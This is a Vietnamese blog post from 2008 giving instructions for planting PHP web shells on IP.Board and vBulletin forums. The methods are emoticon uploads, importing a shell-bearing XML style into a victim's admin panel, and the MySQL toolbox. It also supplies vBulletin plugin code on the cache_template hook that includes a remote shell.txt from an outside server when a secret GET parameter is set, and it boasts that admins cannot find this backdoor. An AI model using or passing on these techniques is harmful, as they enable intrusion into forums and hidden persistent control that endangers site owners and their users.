Jun 10, 2008
102 Views

Up shell ở IPB, VBB

Written by

+IPB:Thằng này hiện tại tớ có 3 cách up shell

Cách 1: Cách này rất đơn giản cứ vào trong phần Style manager coi phần Emoticons rồi cứ up con shell php lên là được. Tuy nhiên cách này có hạn chế là đối với các ver >=2.1.7 ko làm được bới vì nó check cái file type.

Cách 2: Cách này up thông qua file xml. Trước hết cần tạo cái file xml.
cái này làm trên host của mình hoặc localhost, vào trong thư mục style_images coi cái thư mục nào mình thích rồi copy con shell vào để đó, sau đó vào phần style manager của mình export cái cái thư mục đó ra thành file xml, sau khi có file xml rồi vào admincp của victim import cái file xml vào khi đó sẽ có shell (cái này nói sơ sơ khó hiểu, muốn up được shell phải chịu khó mày mò thêm).

Cách 3: Cách này private nhưng mà tớ cũng nói ra để mọi người biết chỗ tìm hiểu, thông thường 2 cách trên nhiều khi sẽ gặp rắc rối rất lớn đó là thằng admin nó chmod rất kỹ cho nên mình sẽ ko thể up được shell, cách thứ 3 này sẽ giải quyết được tất cả, thằng admin nó có chmod cỡ nào thì mình vẫn có thể có shell, còn up được con shell lên host của nó ko lại là 1 vấn đề nữa.
Coi kỹ phần MySQL Tool box của nó, chắc chắn sẽ có shell.

+VBB: Vbulletin thì upshell lên với 3 cách:
1. Edit template
2. Thêm Plugin
3. Edit trong database (khỏi cần login vào acp)
Nhưng mà 1+2 thì phải là superadmin mới làm được ! cái này phải edit trong file config.php !

Sau đây là 1 cách include shell đơn giản nói trên:

Add New Plugin =>
Hook Location This specifies the location within the vBulletin code of the hook that will fire this plugin function:

chọn là: cache_template

Plugin PHP Code:

{

if($_GET[‘black’]==”vnforce”){
include(‘http://<server>/shell.txt’);
}
}

Sau đó là:
tất cả các file trong forum sẽ dính shell này ! đặc biệt là admin nó có kiếm trong file cũng hông ra đâu
ví dụ:
index.php?black=vnforce
tương tự như các file:
online.php
member.php

Article Tags:
· · · · ·
Article Categories:
Bug & Security
    http://linholiver.com

    https://linholiver.com/diary/about/